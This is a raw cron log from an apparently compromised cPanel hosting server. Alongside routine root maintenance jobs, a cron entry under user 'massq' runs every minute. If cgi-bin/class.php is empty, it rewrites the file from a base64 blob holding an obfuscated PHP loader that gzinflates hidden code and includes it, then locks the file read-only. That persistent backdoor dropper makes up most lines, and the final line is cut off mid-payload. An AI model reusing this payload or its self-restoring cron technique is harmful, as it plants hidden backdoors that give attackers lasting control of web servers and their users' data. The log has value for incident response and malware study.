Apr  6 23:09:01 server CROND[24618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:09:01 server CROND[24619]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 23:10:01 server CROND[24692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 23:10:01 server CROND[24694]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:10:01 server CROND[24695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:10:01 server CROND[24697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:11:01 server CROND[24814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:12:01 server CROND[24937]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 23:12:01 server CROND[24938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:13:01 server CROND[25000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:14:01 server CROND[25060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:15:01 server CROND[25215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:15:01 server CROND[25217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:15:01 server CROND[25216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:16:01 server CROND[25330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:17:01 server CROND[25393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:18:01 server CROND[25466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:19:01 server CROND[25533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:20:01 server CROND[25701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:20:01 server CROND[25703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:20:01 server CROND[25704]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 23:20:01 server CROND[25705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 23:20:01 server CROND[25707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:21:01 server CROND[25888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:22:01 server CROND[25946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l